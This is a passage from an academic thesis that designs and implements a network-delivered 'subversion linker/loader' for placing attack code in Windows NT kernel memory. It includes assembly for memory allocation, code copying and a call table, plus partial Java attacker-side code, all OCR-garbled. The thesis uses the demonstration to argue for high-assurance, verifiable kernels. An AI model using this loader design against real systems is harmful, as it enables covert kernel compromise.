memory, increases the likelihood of finding memory, allows for requesting a certain type
(i.e. non paged versus paged) and allows us to not be clobbered by the memory manager
when the artifice is running. Other techniques to find available memory could have been

devised, but were beyond the scope of this work.

An interesting design decision is that of not making any assumptions about the
maximum transmission unit of the network either the attack machine or the target
machine communicate on. On all of the packets containing artifice code sent to the target
machine, from the attack machine, a restriction is placed on size based on a loose
estimate of the maximum transmission unit of the networks the packet will traverse. The
only way to know that the size restriction was not restrictive enough is to see if feedback
was returned to the attack machine after each attempt to load artifice code. At that time,
the attacker can change the allowable size to a smaller integer value to accommodate this

restriction.

An important design decision is that of how to carry out the task of relocation.
The interface that was chosen for relocation is a jump table which resides at the
beginning of the file. The basic format is ‘symbol’ followed by a ‘pointer,” all within the
size of two DWORD’s. This enables the artifice to refer to a predictable place in

memory when making jumps and allows for easy patching of addresses after the code has

46



been relocated. The jump table’s primary purposes, however, are for the resolving of
external symbols or functions, which the linker/loader will do as it relocates the code, and
for resolving internal symbols or functions, (i.e. those within the artifice code) when the
artifice is stored in several non-contiguous memory spaces. The only information needed
for the jump table, besides the basic structure of the jump table, which is constant, is its
base and bound addresses. The following is an example jump table that could be used to
link modules in different allocated memory areas. In such a table, addresses to the
functions would be patched at the attacker’s machine during the relocation portion of
stage 2, and data values would be used by the artifice in order to pass values as

parameters or save values for use during the artifice’s execution.

Address to Function 1

Address to Function 2

Address to Function N

Data Value 1

Data Value 2

Figure 8. An Example Jump Table

Another design decision has to do with failure. This concerns the find memory
function’s inability to find memory, even in non-contiguous form, or when the packets to
be sent do not arrive at the target machine. The first will be readily apparent because the
bootstrap loader’s feedback function will return that information, however, the second is
not likely to be detectable and could result in a crash if a trigger is activated that jumps to
an irrelevant place in memory. Attempting to access this memory would likely result in a

page fault.
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Another important design decision was that of deciding how persistence would be
achieved. Because the likelihood of the kernel memory allocation function returning the
same space in memory is very small (because one cannot request a specific starting
address when calling a kernel memory allocation function) we assume that the code, in
order to be restored after a reboot, must be loaded into the newly allocated space and re-
relocated according to the new base address. This allows for less chance of a failure
prompting the entire artifice to be reloaded via the network. Although, again, obfuscation
is not the primary concern, nor a goal, it would be nice to not have to resend the artifice
to the target machine. This is why relocation will always be carried out at the target
machine when the system is rebooted. When the relocation and reloading is complete,
then a new trigger is set for the new starting location of the artifice code, and feedback is

sent to the attacker to indicate the artifice is ready for activation.

E. CONCLUSION

In this chapter, a design for a subversion linker/loader has been presented that
shows that it is not difficult to design a framework for a changeable artifice to operate
inside a Windows NT based system. With the design presented, it is possible to
implement the linker/loader with the features that enable artifice code to operate in an
unfamiliar environment. This portion of the overall artifice loader subversion allocates
memory for the attack code, relocates, loads and finally provides for the persistence of

the attack code between system reboots.
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V.  SUBVERSION LINKER/LOADER IMPLEMENTATION

A. INTRODUCTION

In this chapter, we discuss the decisions that were made with respect to the
implementation of the subversion linker/loader to demonstrate this type of subversion
threat. The general framework, as was discussed in the previous chapter, is the target
machine, which is being attacked, and the attack machine, which sets up the attack. On
the target side, no compilers, linkers, relocation software or other useful software are
available to the attacker. The only guaranteed resources that the attacker can count on are
the registers, processor time, and memory. Within this context, it is assumed that in order
for the attacker to adequately carry out an attack without crashing the system, state must
be saved before accessing resources that are also being used by other threads in the kernel

and restored when the resources are no longer needed.

In order for the attack to utilize resources within the kernel such as the memory
allocation function, ‘ExAllocatePoolWithTag,” which will be discussed later, it made
sense to build each portion of the attack that would be sent to the target machine as a
device driver. For building code that would eventually be placed in the target system’s
kernel memory space, I utilized the Driver Development Kit, (DDK) version 2600.1106.
It comes with many tools useful to device driver programmers such as makefiles, build
tools, compilers, and assemblers. There are other tools as well that were not relevant to
this implementation so they will be ignored. These useful tools made it easy to debug the
code’s syntax and were relatively easy to learn how to use. Device drivers in the
Windows NT family of kernels operate at the highest privilege level. They have the
ability to call any function in system memory, and potentially alter any memory in the
system should they find the need to do so. This made it easy to find, for example, the
memory allocation functions defined in “ntddk.h,” which is how the attack finds memory
in the kernel. Armed with the DDK, the programming for target system code portion was

done on a Windows NT based platform.

To develop the code that would be used to send packets, relocate and arrange the

data, as well as receive feedback from the target machine, a Windows XP machine, and
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JBuilder v.8.0 were used to code initially. These choices were made solely for the reason
that they were familiar to author. Java was the choice for the implementation because the
code was easily portable to other machines should the need to switch platforms come up,
as well as because the syntax was familiar. An equally good choice would have been to

implement the attack side code in C or C++.

For networking, the decision was made to use a UNIX based utility called sendip.
This program was chosen because it allows the attacker to send packets (no larger than
the maximum transmission unit of the network, which must be known beforehand), with
configurable IP addresses, checksums, packet payload, etc. It was a very easy command
line utility to use, and covered all of the requirements we had for implementing the
attack. The downside to this utility is that it has not been ported to a Windows platform,
and thus, the attack had to be done on a Unix-like machine. In our case, we chose Redhat
Linux 8.0 for the attack machine that we would run our attack code on. The target
machine code, written in the MASM assembly language and C, was already compiled
using the DDK tools, so the switch to the Linux platform did not affect this code at all.
The portability of java code allowed for this transition to be made smoothly. There were,
however, some issues with encoding that presented a small challenge that will be

discussed later in the chapter.

Finally, as a general rule, feedback was not handled in an automated way because
it did not promise much of an improvement over using a packet sniffer to read the data
that was returned to the attack machine. For this purpose, we used a packet sniffer that
was distributed with Redhat Linux, Ethereal v.0.9.6. This is a popular packet sniffer
which uses Tcpdump, another UNIX based utility to receive data on an Ethernet network,
and then displays the packet contents in an easy to read format. Once the feedback data
was returned to the attack machine, then it was possible to continue the attack sequence.
The Ethereal packet sniffer was also an invaluable tool for debugging the Java code’s use
of the sendip program, ensuring that what was sent was exactly what needed to be sent to

the target machine.
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B. TARGET MACHINE CODE

The target machine code is the code that executes on the target machine as kernel
code, with the same privilege level as kernel code. It was constructed using the DDK’s
build tool, which uses the C compiler, the assembler and the Microsoft linker, link.exe to
create a .sys file, or in other words, a device driver file that can be loaded into any

Windows NT based system as a device driver. This code can be found in Appendix A.

1. Stage I Code

The code invokes a memory allocation function provided by the kernel, called
ExAllocatePoolWithTag. This function requires three parameters:
* POOL _TYPE poolType
e SIZE T numberOfBytes
* ULONG tag

The first of these is the type of pool to be allocated from such as Non-paged, Paged, etc.
For the experiment, we are requesting memory from the Non-paged pool. The reason for
this is that we would like the artifice to be loaded into physical memory at all times to
avoid generating page faults. This increases the reliability of the loaded artifice and
reduces the chance of an out of memory condition in a limited memory system. The
second parameter is the number of Bytes parameter, which specifies the size of the
memory needed. If the size of the allocated space is larger than the page size of the
system, then it is aligned on a page boundary, but if it is not larger, then it is allocated on
an 8 byte boundary instead. Also, if the memory requested is smaller than the page size
of the system, then the memory manager will not allocate memory that crosses a page
boundary. This is almost never the case in our experiment because in smaller memory
systems (less than 128 MB), which we are using, the page size is 4 KB (versus 4 MB in a
larger memory system), which is smaller than the attack artifices we are loading. The
final field is the tag parameter which specifies an unsigned long (4 byte) integer to be
used for identifying the memory allocation. This is given in the form of a 4 byte string,
and is then cast into a long integer value by the compiler. [MICO03] For the purpose of

demonstration, the author chose a 4 KB size for both allocation function calls. This
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choice was made to demonstrate the need to allocate two separate page-sized memory
areas. Any larger or any smaller a request would not have aided the demonstration at all.

Allocating these two 4 KB spaces has not been difficult and in fact, has never failed.

It should be noted that it would have been just as easy to construct a function that
searches for free memory space instead of allocating memory through the system. The
method used, however, decreases the chance of the kernel overwriting the memory and
then having the system try to execute code that should not be executed. Such a function
would search for a string of consecutive 0x00 bytes and then return the beginning of that

memory space to the attack machine.

Once the memory allocation function returns an address, this address is stored and
then moved to the feedback buffer where the feedback function will send it back to the
target machine. Should the memory allocation function not find an address, it will return
null and the code will attempt to allocate the memory in two separate pieces. Should this
occur, though an attacker could attempt to allocate memory with more than two function

calls, the task will fail and a null will be sent back to the attack machine.

2. Stage II Code

The Stage 2 code is the loading function that attemp ts to load the attack artifice
into the allocated memory space. This is a very simple function, written mostly in in-line
assembly, within a C language file. This code declares variables for the start and finish
addresses of the artifice code to be written into memory. Unless the artifice is small
enough to be loaded with one packet, the space bounded by these two variables is a
subset of the larger allocated memory space. Within the portion of the code written in C,
two more variables are declared which refer to the beginning and end of the code to be
loaded when it resides in the bootstrap loader’s buffer area. The assembly language
instructions simply carry out memory moves from one buffer area to another until the
bound of the code being transferred is reached. When this happens, feedback indicating

that this operation succeeded is sent back to the attack machine and the function returns.

The choice of inline assembly, or using an assembler such as MASM, allows for

maximum control of registers, and data fields, such as the base and bounds addresses of
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both memory areas. It could be a requirement of the artifice, at some point during its
execution to have some details of the registers’ state just prior to its functions being
called, and therefore, it is useful to save this information for the artifice by manually
pushing these values onto the stack or perhaps saving them in a data field in the jump
table. Using assembly language also helps to optimize the code for speed though this is
not a large concern for the attacker. The code itself, in compiled form, is position-
independent code allowing the attacker to only have to complete a few relocations within
the file, namely the base and bounds addresses for the buffer areas. This is to say that

jumps are only short, relative jumps and function calls are only near calls.

The next portion of the second stage worth mentioning is a small implementation
trick that was not included in the design stage of the linker/loader’s development. It was
realized late in the implementation phase that the bootstrap loader’s means of setting
triggers only allows for triggers to be set within its own buffer area. This does not allow
one to set triggers to functions that reside in allocated memory. Thus, it was necessary to
construct a call table which would be left behind by the linker loader and would reside in
the bootstrap loader’s buffer area. This table would have triggers set to several function
calls referring to the the artifice’s functions located in the allocated memory spaces and
upon the conclusion of the execution of these functions, would have a return instruction

to return control back to the bootstrap loader’s executing code.

3. Stage I1I Code

For two reasons, the third stage code, which provides persistence for the artifice
from boot to boot, was not implemented as a part of the demonstration. First, it was
determined this stage was too complex for implementation during the time allocated for
this project. The other two stages were mandatory for the success of the effort. The
second reason is simply that because obfuscation was not a goal of the demonstration,
sending the artifice to the attack machine again after a system reboot would not be too
overt an act to carry out repeatedly when the artifice is lost because of machine shutdown

or crash. The third stage could be implemented in the future.
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C. ATTACK MACHINE CODE

The attack machine code is the code that carries out the functions that must be
completed on the remote side of the connection such as relocation, dividing the artifice
into payload sized sections, etc. This portion of the linker/loader was written exclusively
in Java because of its abilities to handle bytes in an easy to understand way, and because
it was more familiar than programming in C. It is implemented as a class called Linker,

found in the file, Linker.java. This code can be found in Appendix B.

The java libraries provide several classes that allow for easy manipulation of files
using streams. The principle class, File, which is found in java.io library is the principle
means for accessing a file from the file system. This class allows the Java program to
recognize a file and if it is not found in the path specified, to create a file with the name
supplied as a parameter to the constructor. With a File declared, the file can then be
opened for editing or for reading using the java.io.FileReader and java.io.FileWriter
classes. These files extend the  java.io.InputStreamReader and
Jjava.io.OutputStreamWriter classes respectively, and are used, typically, to read strings
of characters or integers from a file. The same result of using these classes can be
achieved by using the InputStreamReader and FilelnputStream classes together for
writing to a file and the OutputStreamWriter and FileOutputStream classes together for
reading from a file. In this case, for writing to a file for example, an instance of
FileOutputStream is declared to open a particular file stream, and the
OutputStreamWriter is declared to open that FileOutputStream for writing. The use of
the combination of classes versus using the FileWriter and FileReader classes allow for
more control over the input and output to and from files. It is recommended by Sun
Microsystems that to manipulate raw data from files, it is better to use the combination of
classes rather than the FileReader and FileWriter classes because these are designed

more specifically for reading and writing strings to a file.

The other reason to choose the combination of classes is that encodings for
interpreting the data in the file is important if files that were created on one system are
transferred to another kind of system and then the data in them is manipulated by the java

program on the new system. Different operating system platforms use different
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encodings. For example, Windows NT based operating systems use a derivative of the
Latin-1 encoding, referred to as ‘Cpl251° in the java.io library, while Linux uses
Unicode 8 byte encoding, referred to as ‘UTF-8. These default encodings are not
specifiable by creating an instance of FileReader or FileWriter and thus for this
implementation, these classes could not be used. Trying to modify a file that is written in
an encoding other than the encoding it was created with, changes byte values into values
that the new encoding understands with often disastrous effects. For example, if a file
that is encoded using Windows NT encoding is read from and then rewritten to another
file using a Unicode 8 type OutputStreamWriter, then the byte values in the 127 to 159
range are written as two, three or more bytes, into a new byte value, leading to a loss of
precision in the file. These byte values are reserved by the NT encoding for control
purposes, and cannot be directly translated into Unicode 8 bytes. By using the same
encoding to write and read to and from a file, the program understands the special
characters and can process them correctly in the data stream. In the linker/loader
implementation, this encoding is declared constant at the beginning of the program as the
universal encoding, ‘ISO-8859-1.” Thus, even as the program runs on the Linux platform,
the file alterations and reads are made correctly as every byte value that is read from a
file in the entire range of byte values (i.e., 0 to 255) is written correctly in the new file.

[HUG99]

Next, it is useful to discuss the functions that carry out the tasks required of the
linker/loader on the attack machine. There are several utility functions that allow for the
conversion of hexadecimal values, represented as String values within the program, into
their integer values and vice versa. There are also several for copying files exactly, or in
part, to ensure that there is not any data lost between executions of the Linker/Loader,
especially during relocation because original files with offset, relative addresses are often
changed to reflect the new, absolute addresses. There is a function to pause the attack at
key points to wait for intervening actions of the user. There are also functions that
prepare the artifice code for loading into the allocated memory space. There are also
several functions used for relocating the artifice code, and at times, the code that loads
the artifice into place. There are also graphical user interface (GUI). Finally there are a
few miscellaneous functions that should be mentioned and because they are not used in
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the attack, per se, their utility will be discussed to justify their inclusion in the

implementation.

1. Utility Functions

There are several utility functions used by the linker/loader in order to perform
routine tasks for many of the other functions in the implementation.  The
switchByteOrder function takes a string of eight characters, usually a representation of
hexadecimal values stored as a string, and converts the byte order. This can be used to
convert, for example, ‘0OABCDEF0’ to ‘FODEBCOA”’ and vice versa. Another function,
hexTolnt, converts a hexadecimal value of any length represented as a string, into its
integer value. For example, the value ‘AAB’ would be converted to the integer value,
2731. A similar function, FileToHexString does the opposite in order to convert a file
that contains bytes into a string of characters, converting 0OxAA to ‘AA’ and so forth.
This function is used as a utility to export a file’s contents to the sendip command-line
utility. The next two functions copyFile, and copyFileFragment are used frequently to
make an exact file copy of any file written with any encoding, or to make a copy of a
portion of any file written in any encoding, respectively. The final utility function is the
pauseAttack function. This is used primarily to halt the execution of the linker/loader in
order to allow intervention by the user, or to allow time to study the output of the GUI to

understand the state of the linker/loader at various times during its execution.

2. Loading and Preparation Functions

The next group of functions that will be discussed are the loading and preparation
functions that either prepare the artifice code for loading into the attack machine or the
function that actually loads the artifice code into the attack machine, via the Bootstrap
loader’s load function. The first function, divideAndCombine, accomplishes the first of
these tasks in that it takes the artifice code, divides it into pieces, each of a size that
allows each piece and the loading instructions that will be executed to load that piece into
the correct allocated memory area, into a packet payload small enough for the maximum

transmission unit of any networks the packet will enter. The divideAndCombine function
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produces the array of packets that will be sent to the target machine and loaded into the
allocated buffer space. Initially, the file that contains the attack code, the file that
contains the loading code, a string that represents the base file name for the packet files
(i.e. “~temp”), the size limit for each payload, and a Boolean value describing whether
the temporary files should be deleted or not after the program exits, are given as actual
parameters to the function. First, the payload portion of each packet that the attack code
may use is determined by subtracting the size of the header file, which is the Stage 2
loading code, from the maximum payload size for the packet. The result is the number of
bytes in the packet that the attack code can take up. The larger this value is, the fewer
number of packets need to be sent to the target machine to load the entire attack artifice
into the allocated memory space. The attack code is then divided into pieces of this size,
and placed, with the loading code into the packet files. These files are stored in an array
that will be used later by the sendipPacket function to send the files. The last file in the
array is not as large as the other packets, simply because the attack code may not be
divisible exactly by the size allowed for the attack code in each packet. The second
function, the sendipPacket function, formats the packets created in the array of packets
returned by the divideAndCombine function, for being sent using the sendip program via
the command line. As parameters, this function takes the file containing the payload to
be sent, and the type of packet to send (i.e. load, set trigger, or run trigger) The function
used to call the sendip program is (Runtime.getRuntime()).exec(commandLine). The
parameter commandLine is a string containing the command to pass to the system’s
default shell which is then executed. Prior to executing this command, the function
constructs the commandLine string based on the parameters passed in the original
function call. These parameters specify the type of bootstrap loader function needed,

such as load, set trigger, or run trigger, as well as whether feedback is needed or not.

[SUN02]

3. Relocation Functions

The next group of functions carry out the relocations on the artifice code and the
loading code once the addresses have been returned for the allocated memory spaces.

There are several procedure like functions that act more as a means of organizing the
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code rather than carrying out one specific function. There are other functions that act as
traditional functions in that they are more atomic in nature when considering the tasks
they carry out. The procedure functions are the two relocation functions:
jumpTableRelocations, and callTableRelocations.  The first of these functions,
jumpTableRelocations carries out relocations on the jump table portion of the artifice
code. Currently, the function is not fully generalizable, although changes could be made
to make it so. In this way, whenever the number of functions changes, or the size
changes, one or more changes must be made to the configuration files containing the
offsets for the jump table. The second of these functions, callTableRelocations, carries
out similar operations on the call table mentioned above. The next functions are fully
generalizable in that they perform relocations based on the parameters passed to them.
The relocate function carries out one relocation at one point in the file that is passed to it
as a parameter. The relocateFile carries out a series of these relocations using as
parameters, the file that is to be relocated, and the file that contains the offsets of the
relocations within the file and the values to fill in at those offsets. The third function,
relocateFileByAddress, carries out similar tasks as the second function, but first, changes
the file that specifies the relocations to be done, to reflect the new absolute address to be

added to the offset address values located within the change file.

4. Miscellaneous Functions

The last two functions are the convertEncoding and createEncodingExample
functions. These functions are not actually used to carry out any linker/loader relevant
tasks, but they are worth mentioning. The first function convertEncoding converts a file
encoded using a specific encoding, such as ‘UTF-8’, and delivers the equivalent in
another encoding. The next function, createEncodingExample creates a file using the
encoding passed to it as a parameter. The output is a file with one byte containing each
possible byte value for every value from 0 to 255. The utility of this is to see which
particular byte values are not recognized by that encoding and to choose the encoding
that best suits your needs based on this information. Both of these functions can be used
to understand the way encodings are handled in Java, and should be used if there is any

confusion about this subject.
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D. CONCLUSION

In this chapter, the implementation of the linker/loader portion of the attack was
presented, showing the various implementation decisions that were made to successfully
link, load and relocate the attack code. The framework for the artifice attack code was
discussed, which is made of several functions that perform the tasks, such as linking and
relocating in order to prepare the attack artifice code to work properly on the target
machine. Several important issues were discussed as well, such as the need to adhere to
the default encodings used by various operating systems, as well as how to transport the
data to be loaded on the target machine. It ought to be noted that it is not entirely
necessary to limit the attack to one kind of machine, though the use of the sendip
program necessitated using a UNIX based machine, and the use of the Driver
Development Kit necessitated using a Windows NT based machine for development of
code that would run on the target machine. There are numerous ways of implementing
the subversion linker/loader, but this way seemed the most straightforward. More
information on how to operate the linker/loader and how to manipulate the functions

mentioned in this chapter are outlined in Appendix C.
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VI. CONCLUSION

A. FUTURE WORK

The biggest task still to be completed is the establishing of permanence of an
artifice from boot to boot. This could be done using the third stage specified in the
design chapter, which seeks out permanent storage to hold the artifice, and later restores
the artifice from that storage space when the system is booted. Another area of future
work is extending this type of subversion attack to other operating systems, such as Linux
or a system from the BSD family of systems such as OpenBSD, FreeBSD, or NetBSD.
Finally, the third stage of the artifice linker/loader could be implemented to show

persistence.

B. SUMMARY

We have demonstrated that a more elaborate subversion artifice, such as our
implementation of the two-card loader is relatively easy to implement and that all the
attacker needs to carry out this kind of an attack is to have access to the operating
system’s code at some point during the development lifecycle. We have discussed the

importance of constructive security techniques to ensure the absence of subversion.

We have also shown the requirements and mechanisms found in the x86
architecture that can be used by the operating system designers to use the available
hardware more effectively, thus increasing the overall assurance level of the system.
Using the Common Criteria as a requirements base of knowledge, a kernel could be
implemented that uses the available hardware effectively to construct security

mechanisms that embody the fundamental notions of the Reference Monitor Concept.

This body of work builds upon previous efforts to show that hardware
mechanisms that are commercially available to any system developer, such as Intel’s x86
32-bit architecture, can be used to build a high assurance system. This thesis shows that
there are certain features built into this architecture and others like it, which can be used
to provide a foundation for the security relevant portions of an operating system, allowing
the development of a high assurance kernel. Most importantly, however, this thesis
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shows the need to employ the techniques of verifiable protection to ensure against system
subversion.  The Trusted Computing Exemplar project, [IRV03] at the Naval
Postgraduate School will provide an open worked example of such a system. Building a
system that is of high assurance, with proven verifiable protection, is like a house built

upon a good foundation, so that when the floods come, it will not crumble.
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APPENDIX A. THE TARGET MACHINE CODE

These are the instructions, written in assembly language, that are sent to the target
machine during the course of an attack. The first is the get memory function which when
activated by running a trigger, finds memory by calling a function. This function is
assumed to be at memory location 0x80536AA0 because the operating system is usually
loaded in the same location, allowing this function’s location to be relatively fixed. After
the function call is completed, the information is stored in the ICMP buffer area, which is
a constant offset from the address stored in the EBX register. The ICMP buffer area is

made available by the bootstrap functions that precede the execution of this function.

TI TLE phase 1 of the linker/I| oader

; This program denonstrates the ability for the bootstrap
; and link/loader to | oad a nmbdul e and use triggers to execute it

. 386
. MODEL snmll, stdcal
. STACK 1024
Exi t Process PROTO, dwkxit Code: DAORD
.data
. code
mai n PROC
push 464D31h
push Of aOh
push Oh
nov  ECX, 80536AA0h
call ECX ; call to where this function is usually | oaded
mov  DWORD PTR [ EBX + 53], 30h
nov  BYTE PTR [EBX + 81], 0AAh
nmov  DWORD PTR [EBX + 82], EAX ; stores the allocated nenory space
nov  BYTE PTR [EBX + 86], 0AAh
mov DWORD PTR [EBX + 87], EBX ; stores the artBuffer's starting address
nmov  BYTE PTR [EBX + 91], 0AAh
ret ; return
ret
ret
ret
mai n ENDP
END mai n

The next group of instructions is sent to the attack machine during the second

stage of the attack. The artifice attack code is divided into pieces using the
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divideAndCombine function, and then this following code has each piece appended to it,

such that each of these header/payload pieces will fit in the payload of an ip packet. This

loading code then has a trigger set to the beginning of it, so that when it is run, it copies

the piece that was appended to it to the allocated memory area, which was returned in

first stage.

TI TLE phase 2 of the linker/loader - copying code

; This program denonstrates the ability for the bootstrap
; and link/loader to | oad a nmbdul e and use triggers to execute it

. 386

. MODEL smal |, stdcal

. STACK 1024

Exi t Process PROTO dwExit Code:

.data
. code
mai n PROC NEAR32

nov ECX, 0BBBBBBBh
nov EDX, 0CCCCCCCh
nov ES|, 0DDDDDDDh

nop

nop

nmov AL, [ECX]
mov [ EDX], AL
add ECX, 1
add EDX, 1
cnp ESI, ECX
jne $-12

mov AL, [ECX]
nov [EDX], AL

ret

mai n ENDP

END nmi n

DWORD

tracks the first buffer area pointer
tracks the allocated buffer area pointer
points to the last instruction

nove the next byte

to its place in allocated nenory.
go to next byte to copy
go to next byte to copy

junmp back 12 bytes if

the end of the buffer hasn't been reached
one | ast byte to copy..

done copying

The final code is the group of instructions that are left behind when the artifice is

loaded and the triggers need to be set in order to run the artifice’s functions. This is

known as the call table and is essentially a number of function calls to the addresses that

contain the first instruction to be executed in each artifice’s function.
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TI TLE phase 2 of the linker/loader — call table code

; This program denonstrates the ability for the bootstrap
; and link/loader to | oad a nmbdul e and use triggers to execute it

. 386
. MODEL smal |, stdcal
. STACK 1024
Exi t Process PROTO, dwExit Code: DAWORD
.data
. code
mai n PROC
nop
nop ; these are calls to the artifice functions
nop ; triggers are set to these rather than the functions
nop
nmov EDX, 00000000h
nov [ EDX], EBP
nmov ECX, Oaaaaaaah
call ECX
ret
nop
nmov EDX, 00000000h
mov [ EDX], EBP
mov ECX, Obbbbbbbh
call ECX
ret
nop
nmov EDX, 00000000h
nov [ EDX], EBP
mov  ECX, Occccccch
call ECX
ret
nop
mov EDX, 00000000h
nmov [ EDX], EBP
mov  ECX, 0Odddddddh
call ECX
ret
nop
nov EDX, 00000000h
nmov [ EDX], EBP
mov  ECX, Oeeeeeeeh
call ECX
ret
nop
nmov EDX, 00000000h
nmov [ EDX], EBP
mov  ECX, Offfffffh
call ECX
ret
nop
nop
nop
nop
ret ; end of the call table
mai n ENDP
END mai n
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APPENDIX B. THE ATTACK MACHINE CODE

The attack machine code is the Java code that is executed at the attacker’s
machine. Upon execution of the main method, a graphical user interface launches with
with three main windows. These three windows are the means of conducting the attack.
Once the attack is finished, the external frame window can be closed which will end the

program’s execution. Below is the source code for the attack machine.

import java.aw.*;
import java.aw.event.*;
inmport java.io.*;

i mport javax.sw ng.*;
import java.util.*;

public class Linker extends Thread {

/****************************************************************************

* Data Menbers
****************************************************************************I
private ButtonHandl er buttonHandl er;
private JText Area nessageText, packet Text;
private File[] packetFileArray;
private bool ean proceed;
private String artBufferAddress, artBufferAddressSaved, alloclAddress,
al | oc2Addr ess;
private JButton buttCont, bl, b2, b3, b4, b5; // four main buttons
private JTextField tf1, tf2, tf3, tf4,tf5;
private String from P, tolP;
private static final String ENCODI NG = "| SO 8859-1";
/1 the only encoding |'ve found that works for copying all 256 byte val ues
//"UTF-8", "(Cpl1252", "Cpl251", and so on don't

1RSSR R R R EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

* Constructor

*

* nost of the instructions are for creating the GU .

LEE AR EEEEEEEEEEEEEEEEEEEEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEY]

————————————————— Create GUI components----------------uoo---f]/

JFrame j Frame = new JFrame();

JDeskt opPane desktopPane = new JDesktopPane(); // creates the GU

deskt opPane. set Name( " Subver si on Li nker/ Loader");

Jinternal Frame nessageFrane = new Jlnternal Frane(" Subversi on Messages", true,
fal se, false);

Jinternal Frame control Frane = new Jlnternal Frane("Subversion Control", true,
fal se, false);

Jinternal Frame packet Frame = new Jlnternal Frame("Packets Sent", true, false,
fal se);

JMenuBar nenuBar = new JMenuBar ();

JMenu nmenu2 = new JMenu("Hel p");

JMenu menul = new JMenu("File");

JMenulteminstructionsltem = new JMenulten("l nstructions");

JMenultemexitltem = new JMenultem("Exit");

messageText = new JText Area();

packet Text = new JText Area();

Gri dBagLayout gbLayout = new G i dBagLayout();

Gi dBagConstraints ghConstraints = new GidBagConstraints();

but t onHandl er = new But t onHandl er ();

butt Cont = new JButton("Continue");

JScrol | Pane nmessageScrol |l = new JScrol | Pane( messageText,

JScrol | Pane. VERTI CAL_SCROLLBAR_ALWAYS,
JScrol | Pane.
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HORI ZONTAL_SCROLLBAR_ALVAYS) ;
JScrol | Pane packet Scroll = new JScrol | Pane( packet Text,

JScrol | Pane. VERTI CAL_SCROLLBAR_ALWAYS,
JScrol | Pane.
HORI ZONTAL_SCROLLBAR_ALWAYS) ;
j Frane. set Si ze(1000, 750);
j Frane. get Cont ent Pane() . add( deskt opPane) ;
deskt opPane. add( nessageFr ane) ;
deskt opPane. add(control Frane);
deskt opPane. add( packet Frane) ;

R R set up the internal frames of the QU ------------------
packet Frame. set Bounds(500, 200, 490, 450);

packet Fr anme. get Cont ent Pane() . add( packet Scrol | );

packet Frame. show() ;

/| packet Frame. set Aut oscrol | s(true);

messageFr ane. set Bounds(0, 0, 500, 650);

messageFr ane. get Cont ent Pane() . add( messageScrol | );
messageFr ane. show() ;

/I messageText . set Aut oscrol | s(true);

control Frame. show() ;
cont r ol Franme. get Cont ent Pane() . set Layout (gbLayout);
control Frane. set Bounds(500, 0, 490, 200);

gbConstraints. gridx
gbConstraints. gridy
gbConstraints.fill = gbOonstral nts. BOTH;

gbLayout . set Constrai nts(buttCont, gbConstraints);
contr ol Frane. get Cont ent Pane() . add( butt Cont);

3;

I T set up the control frame--------------------- 11
JLabel L1 = new JLabel ("artBuffer pointer + O0x1A");

gbConstraints. gridx = 0;

gbConstraints.gridy = 4;

gbLayout . set Constrai nts(L1, gbConstraints);

cont r ol Frane. get Cont ent Pane() . add(L1);

JLabel L2 = new JLabel ("All ocated Menory 1");
gbConstraints.gridx = 0;

gbConstraints.gridy = 5;

gbLayout . set Constrai nts(L2, gbConstraints);
control Frane. get Cont ent Pane() . add(L2);

JLabel L3 = new JLabel ("All ocated Menory 2");
gbConstraints.gridx = 0;

gbConstraints.gridy = 6;

gbLayout . set Constrai nts(L3, gbConstraints);
cont r ol Frane. get Cont ent Pane() . add(L3);

JLabel L4 = new JLabel (" ");
gbConstraints.gridx = 2;
gbConstraints.gridy = 2;

gbLayout . set Constrai nts(L4, gbConstraints);
contr ol Frane. get Cont ent Pane() . add(L4);

JLabel L5 = new JLabel (" ")
gbConstraints. gridx = 4;
gbConstraints.gridy = 2;

gbLayout . set Constrai nts(L5, gbConstraints);
cont r ol Frane. get Cont ent Pane() . add(L5);

JLabel L6 = new JLabel ("Attacker's IP");
gbConstraints. gridx = 0;
gbConstraints.gridy = 1;

gbLayout . set Constrai nts(L6, gbConstraints);
control Frane. get Cont ent Pane() . add(L6);

JLabel L7 = new JLabel ("Target |P");

68



gbConstraints. gri dx 0;

gbConstraints. gridy 2;

gbLayout . set Constrai nts(L7, gbConstraints);
cont r ol Frane. get Cont ent Pane() . add(L7);

tf4 = new JText Fi el d(10);

tf4.set Text("192.168.1.1");

gbConstraints. gri dx 3;

gbConstraints. gridy 1;

gbConstraints.fill = gbConstraints. BOTH;
gbLayout . set Constrai nts(tf4, gbConstraints);
cont rol Frame. get Cont ent Pane() . add(tf4);

tf5 = new JText Fi el d(10);

tf5. set Text("192.168.1.2");

gbConstraints. gridx ;

gbConstraints. gridy 2;

gbConstraints.fill = gbConstraints. BOTH;
gbLayout . set Constraints(tf5, gbConstraints);
cont rol Frane. get Cont ent Pane() . add(tf5);

tfl = new JText Fi el d(10);

tf 1. set Text (" FA600ABA") ;

gbConstraints.gridx = 3;

gbConstraints.gridy = 4;

gbConstraints.fill = gbConstraints. BOTH;
gbLayout . set Constraints(tfl, gbConstraints);
control Frame. get Cont ent Pane() . add(tf1);

tf2 = new JText Fi el d(10);

tf 2. set Text (" FF5F3008") ;

gbConstraints.gridx = 3;

gbConstraints.gridy = 5;

gbConstraints.fill = gbConstraints. BOTH;
gbLayout . set Constrai nts(tf2, gbConstraints);
control Frame. get Cont ent Pane() . add(tf2);

tf3 = new JText Fi el d(10);

tf 3. set Text (" FF5F5008") ;

gbConstraints.gridx = 3;

gbConstraints.gridy = 6;

gbConstraints.fill = gbConstraints. BOTH;
gbLayout . set Constrai nts(tf3, gbConstraints);
control Frane. get Cont ent Pane() . add(tf3);

bl = new JButton("Store Addr1");
gbConstraints. gridx = 5;
gbConstraints.gridy = 4;

gbLayout . set Constrai nts(bl, gbConstraints);
cont r ol Frane. get Cont ent Pane() . add(bl);

b2 = new JButton("Store Addr2");
gbConstraints.gridx = 5;
gbConstraints.gridy = 5;

gbLayout . set Constrai nts(b2, gbConstraints);
control Frane. get Cont ent Pane() . add(b2) ;

b3 = new JButton("Store Addr3");
gbConstraints. gridx = 5;
gbConstraints.gridy = 6;

gbLayout . set Constrai nts(b3, gbConstraints);
contr ol Frane. get Cont ent Pane() . add( b3);

b4 = new JButton("Store IP1");
gbConstraints.gridx = 5;
gbConstraints.gridy = 1;

gbLayout . set Constrai nts(b4, gbConstraints);
cont r ol Frane. get Cont ent Pane() . add( b4) ;

b5 = new JButton("Store | P2");
